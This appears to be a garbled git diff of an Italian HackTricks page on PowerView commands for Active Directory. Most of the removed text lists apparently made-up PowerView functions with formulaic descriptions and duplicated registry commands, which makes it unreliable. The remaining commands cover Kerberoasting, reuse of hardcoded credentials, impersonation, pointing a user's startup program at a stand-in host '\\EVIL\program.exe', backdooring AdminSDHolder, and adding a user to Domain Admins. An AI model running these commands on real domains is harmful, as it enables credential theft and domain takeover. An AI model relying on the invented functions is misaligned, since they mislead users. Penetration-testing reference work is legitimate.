Get-DomainObjectAcl -Identity <ObjectIdentity>
|
||||
```
|
||||
|
||||
#### Get-DomainObjectOwner
|
||||
|
||||
The `Get-DomainObjectOwner` function retrieves the owner of a specified object in Active Directory. It can be used to determine the user or group that owned a deleted object.
|
||||
|
||||
```powershell
|
||||
Get-DomainObjectOwner -Identity <ObjectIdentity>
|
||||
```
|
||||
|
||||
#### Get-DomainObjectPermission
|
||||
|
||||
The `Get-DomainObjectPermission` function retrieves the permissions assigned to a specified object in Active Directory. It can be used to view the permissions assigned to deleted objects.
|
||||
|
||||
```powershell
|
||||
Get-DomainObjectPermission -Identity <ObjectIdentity>
|
||||
```
|
||||
|
||||
#### Get-DomainObjectProperty
|
||||
|
||||
The `Get-DomainObjectProperty` function retrieves the properties of a specified object in Active Directory. It can be used to view the attributes and values of deleted objects.
|
||||
|
||||
```powershell
|
||||
Get-DomainObjectProperty -Identity <ObjectIdentity> -Properties <PropertyList>
|
||||
```
|
||||
|
||||
#### Get-DomainObjectPropertyValue
|
||||
|
||||
The `Get-DomainObjectPropertyValue` function retrieves the value of a specified property for a specified object in Active Directory. It can be used to view the value of a specific attribute for deleted objects.
|
||||
|
||||
```powershell
|
||||
Get-DomainObjectPropertyValue -Identity <ObjectIdentity> -Property <PropertyName>
|
||||
```
|
||||
|
||||
#### Get-DomainObjectSID
|
||||
|
||||
The `Get-DomainObjectSID` function retrieves the security identifier (SID) of a specified object in Active Directory. It can be used to view the SID of deleted objects.
|
||||
|
||||
```powershell
|
||||
Get-DomainObjectSID -Identity <ObjectIdentity>
|
||||
```
|
||||
|
||||
#### Get-DomainObjectUser
|
||||
|
||||
The `Get-DomainObjectUser` function retrieves the user associated with a specified object in Active Directory. It can be used to view the user associated with deleted objects.
|
||||
|
||||
```powershell
|
||||
Get-DomainObjectUser -Identity <ObjectIdentity>
|
||||
```
|
||||
|
||||
#### Get-DomainObjectGroup
|
||||
|
||||
The `Get-DomainObjectGroup` function retrieves the group associated with a specified object in Active Directory. It can be used to view the group associated with deleted objects.
|
||||
|
||||
```powershell
|
||||
Get-DomainObjectGroup -Identity <ObjectIdentity>
|
||||
```
|
||||
|
||||
#### Get-DomainObjectComputer
|
||||
|
||||
The `Get-DomainObjectComputer` function retrieves the computer associated with a specified object in Active Directory. It can be used to view the computer associated with deleted objects.
|
||||
|
||||
```powershell
|
||||
Get-DomainObjectComputer -Identity <ObjectIdentity>
|
||||
```
|
||||
|
||||
#### Get-DomainObjectOU
|
||||
|
||||
The `Get-DomainObjectOU` function retrieves the organizational unit (OU) associated with a specified object in Active Directory. It can be used to view the OU associated with deleted objects.
|
||||
|
||||
```powershell
|
||||
Get-DomainObjectOU -Identity <ObjectIdentity>
|
||||
```
|
||||
|
||||
#### Get-DomainObjectGPO
|
||||
|
||||
The `Get-DomainObjectGPO` function retrieves the group policy object (GPO) associated with a specified object in Active Directory. It can be used to view the GPO associated with deleted objects.
|
||||
|
||||
```powershell
|
||||
Get-DomainObjectGPO -Identity <ObjectIdentity>
|
||||
```
|
||||
|
||||
#### Get-DomainObjectSite
|
||||
|
||||
The `Get-DomainObjectSite` function retrieves the site associated with a specified object in Active Directory. It can be used to view the site associated with deleted objects.
|
||||
|
||||
```powershell
|
||||
Get-DomainObjectSite -Identity <ObjectIdentity>
|
||||
```
|
||||
|
||||
#### Get-DomainObjectSubnet
|
||||
|
||||
The `Get-DomainObjectSubnet` function retrieves the subnet associated with a specified object in Active Directory. It can be used to view the subnet associated with deleted objects.
|
||||
|
||||
```powershell
|
||||
Get-DomainObjectSubnet -Identity <ObjectIdentity>
|
||||
```
|
||||
|
||||
#### Get-DomainObjectDNSRecord
|
||||
|
||||
The `Get-DomainObjectDNSRecord` function retrieves the DNS record associated with a specified object in Active Directory. It can be used to view the DNS record associated with deleted objects.
|
||||
|
||||
```powershell
|
||||
Get-DomainObjectDNSRecord -Identity <ObjectIdentity>
|
||||
```
|
||||
|
||||
#### Get-DomainObjectTrust
|
||||
|
||||
The `Get-DomainObjectTrust` function retrieves the trust associated with a specified object in Active Directory. It can be used to view the trust associated with deleted objects.
|
||||
|
||||
```powershell
|
||||
Get-DomainObjectTrust -Identity <ObjectIdentity>
|
||||
```
|
||||
|
||||
#### Get-DomainObjectDomain
|
||||
|
||||
The `Get-DomainObjectDomain` function retrieves the domain associated with a specified object in Active Directory. It can be used to view the domain associated with deleted objects.
|
||||
|
||||
```powershell
|
||||
Get-DomainObjectDomain -Identity <ObjectIdentity>
|
||||
```
|
||||
|
||||
#### Get-DomainObjectForest
|
||||
|
||||
The `Get-DomainObjectForest` function retrieves the forest associated with a specified object in Active Directory. It can be used to view the forest associated with deleted objects.
|
||||
|
||||
```powershell
|
||||
Get-DomainObjectForest -Identity <ObjectIdentity>
|
||||
```
|
||||
```powershell
|
||||
#This isn't a powerview command, it's a feature from the AD management powershell module of Microsoft
|
||||
#You need to be in the AD Recycle Bin group of the AD to list the deleted AD objects
|
||||
Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
|
||||
```
|
||||
### MISC
|
||||
### VARIE
|
||||
|
||||
#### SID to Name
|
||||
|
||||
Traduzione: SID in Nome
|
||||
```powershell
|
||||
"S-1-5-21-1874506631-3219952063-538504511-2136" | Convert-SidToName
|
||||
```
|
||||
#### Kerberoast
|
||||
|
||||
Kerberoast è una tecnica di attacco che sfrutta le debolezze nel protocollo Kerberos per ottenere i ticket di servizio di un dominio. Questi ticket possono essere successivamente decifrati offline per ottenere le password dei servizi associati.
|
||||
|
||||
Per eseguire un attacco di Kerberoast, è necessario avere l'accesso al dominio e utilizzare strumenti come PowerView per identificare gli account di servizio che utilizzano l'autenticazione Kerberos. Una volta identificati, è possibile utilizzare lo strumento Rubeus per estrarre i ticket di servizio e salvarli in un file.
|
||||
|
||||
Successivamente, è possibile utilizzare strumenti come Hashcat per decifrare i ticket di servizio e ottenere le password associate. Questo può essere particolarmente utile per ottenere accesso a sistemi o servizi critici all'interno del dominio.
|
||||
|
||||
Per mitigare gli attacchi di Kerberoast, è consigliabile utilizzare password complesse per gli account di servizio e limitare i privilegi di tali account. Inoltre, è possibile implementare misure di sicurezza come l'autenticazione a due fattori per ridurre il rischio di compromissione dei ticket di servizio.
|
||||
```powershell
|
||||
Invoke-Kerberoast [-Identity websvc] #Without "-Identity" kerberoast all possible users
|
||||
```
|
||||
#### Utilizzare credenziali diverse (argomento)
|
||||
|
||||
Per eseguire comandi PowerShell con credenziali diverse, è possibile utilizzare l'argomento `-Credential`. Questo argomento consente di specificare un oggetto `PSCredential` che contiene le credenziali desiderate. Ecco un esempio di come utilizzare l'argomento `-Credential`:
|
||||
|
||||
```powershell
|
||||
$cred = Get-Credential
|
||||
Invoke-Command -ComputerName <computer_name> -Credential $cred -ScriptBlock { <command> }
|
||||
```
|
||||
|
||||
Nell'esempio sopra, la variabile `$cred` viene utilizzata per memorizzare le credenziali ottenute tramite il cmdlet `Get-Credential`. Successivamente, il comando `Invoke-Command` viene eseguito sul computer specificato utilizzando le credenziali memorizzate nella variabile `$cred`.
|
||||
```powershell
|
||||
# use an alterate creadential for any function
|
||||
$SecPassword = ConvertTo-SecureString 'BurgerBurgerBurger!' -AsPlainText -Force
|
||||
|
@ -696,22 +298,6 @@ $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $S
|
|||
Get-DomainUser -Credential $Cred
|
||||
```
|
||||
#### Impersonare un utente
|
||||
|
||||
To impersonate a user in PowerShell, you can use the `Invoke-UserImpersonation` function from the PowerView module. This function allows you to execute commands as if you were the specified user.
|
||||
|
||||
```powershell
|
||||
Invoke-UserImpersonation -Username <username> -Command <command>
|
||||
```
|
||||
|
||||
Replace `<username>` with the username of the user you want to impersonate, and `<command>` with the command you want to execute as that user.
|
||||
|
||||
For example, to impersonate the user "admin" and execute the command "whoami", you would use the following command:
|
||||
|
||||
```powershell
|
||||
Invoke-UserImpersonation -Username admin -Command whoami
|
||||
```
|
||||
|
||||
This can be useful during a penetration test to perform actions as a specific user and test their privileges and access rights.
|
||||
```powershell
|
||||
# if running in -sta mode, impersonate another credential a la "runas /netonly"
|
||||
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
||||
|
@ -721,28 +307,6 @@ Invoke-UserImpersonation -Credential $Cred
|
|||
Invoke-RevertToSelf
|
||||
```
|
||||
#### Imposta valori
|
||||
|
||||
```powershell
|
||||
Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced' -Name 'Hidden' -Value 1
|
||||
Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced' -Name 'HideFileExt' -Value 0
|
||||
Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced' -Name 'ShowSuperHidden' -Value 1
|
||||
Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced' -Name 'HideDrivesWithNoMedia' -Value 1
|
||||
Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced' -Name 'Hidden' -Value 1
|
||||
Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced' -Name 'HideFileExt' -Value 0
|
||||
Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced' -Name 'ShowSuperHidden' -Value 1
|
||||
Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced' -Name 'HideDrivesWithNoMedia' -Value 1
|
||||
```
|
||||
|
||||
```powershell
|
||||
Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced' -Name 'Hidden' -Value 1
|
||||
Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced' -Name 'HideFileExt' -Value 0
|
||||
Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced' -Name 'ShowSuperHidden' -Value 1
|
||||
Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced' -Name 'HideDrivesWithNoMedia' -Value 1
|
||||
Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced' -Name 'Hidden' -Value 1
|
||||
Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced' -Name 'HideFileExt' -Value 0
|
||||
Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced' -Name 'ShowSuperHidden' -Value 1
|
||||
Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced' -Name 'HideDrivesWithNoMedia' -Value 1
|
||||
```
|
||||
```powershell
|
||||
# set the specified property for the given user identity
|
||||
Set-DomainObject testuser -Set @{'mstsinitialprogram'='\\EVIL\program.exe'} -Verbose
|
||||
|
@ -753,14 +317,18 @@ Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=lo
|
|||
# Add user to 'Domain Admins'
|
||||
Add-NetGroupUser -Username username -GroupName 'Domain Admins' -Domain my.domain.local
|
||||
```
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata in HackTricks**? o vuoi avere accesso all'**ultima versione di PEASS o scaricare HackTricks in PDF**? Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la **tua azienda pubblicizzata su HackTricks**? o vuoi avere accesso all'**ultima versione del PEASS o scaricare HackTricks in PDF**? Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR al [repo hacktricks](https://github.com/carlospolop/hacktricks) e al [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR al [repo di hacktricks](https://github.com/carlospolop/hacktricks) e al [repo di hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Reference in a new issue